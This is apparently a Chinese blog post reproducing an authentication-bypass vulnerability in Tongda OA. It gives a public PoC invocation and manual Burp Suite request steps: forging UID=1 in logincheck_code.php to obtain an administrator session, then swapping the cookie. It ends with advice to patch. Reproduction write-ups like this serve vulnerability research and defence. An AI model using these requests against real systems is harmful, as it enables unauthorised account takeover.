这位大佬有手工操作复现：
https://www.cnblogs.com/bink1/p/13328579.html

0x01 简介

在 logincheck_code.php 文件，变量 UID 为攻击者可控，攻击者可改变 UID 参数，从而控制该 SQL 语句返回 USER 表中指定 uid参数的用户信息，便可通过伪造参数来达到登录任意用户的目的。该漏洞可获取任意用户session，包括系统管理员

0x02 影响范围

（1）通达OA2017
（2）通达 11.X<11.5版本

0x03 漏洞复现

（1）POC
https://github.com/NS-Sp4ce/TongDaOA-Fake-User#tongdaoa-fake-user
（2）使用方法：
python3 POC.py -v (2017|11) -url url
在这里插入图片描述（3）访问http://192.168.1.1/general/index.php，F12将cookie修改为刚刚POC返回的cookie
在这里插入图片描述（4）成功登录系统
在这里插入图片描述手工方式（burpsuite）：

（1）POST /general/login_code.php，响应包获取code_uid的值
（2）POST /logincheck_code.php 请求
    CODEUID=code_uid&UID=1（POST数据内容）
（3）响应包获取sessionID
（4）替换cookie就进OA了，proxy--options--Match and Replace--正则表达式^Cookie.*$，替换内容则为cookie字段完整的内容。

0x04 修复建议

官方已发布最新修正版本，请及时更新补丁

Logo
天工造物局

北京人形旗下天工造物具身智能开源社区，聚焦具身天工与慧思开物两大平台

更多推荐

树莓派Pico+MicroPython+MQTT+EMQX物联网数据上报实战

在物联网设备数据上报场景中，轻量级通信协议和高效开发语言至关重要。MQTT基于发布/订阅模型，具有QoS分级、心跳保活和遗嘱消息等机制，特别适合网络不稳定的嵌入式环境；MicroPython让开发者用接近Python的语法快速编写固件，降低嵌入式开发门槛；EMQX作为高性能开源Broker，提供可视化Dashboard和规则引擎，简化设备接入与数据处理。JSON凭借良好的可读性和跨语言解析特性，成

avatar 天工造物局

SmartTube 安装与使用：在 Android 电视上无广告播放的完整设置

SmartTube 是一款面向 Android 电视和电视盒的免费开源播放器，主打无广告播放 YouTube 等公开视频内容。它只跑在电视和盒子上，界面按遥控器设计，适合想把客厅大屏变成一台干净播放器的用户。## 先说清楚它是什么SmartTube 是开源免费的 Android TV 播放器，由一位开发者独立维护，没有公司背景。和官方 YouTube 电视版相比，它没有广告位，界面里不插横

avatar 天工造物局

Atmosphere 定制固件上手：从源码构建到上机启动的 5 个关键点

给 Switch 装完一次系统更新后，你可能发现老游戏开始闪退，或者你一直想玩金手指、跑 homebrew，又不想动真机 eMMC 里的存档。Atmosphere（Atmosphère）就是做这件事的 Switch 定制固件：它逐层替换系统组件，让你可以在 SD 卡上运行虚拟系统、注入自定义系统模块、管理金手指。这篇文章带你把它从源码构建成可运行的产物，并解释几个真正影响日常使用的配置。##

avatar 天工造物局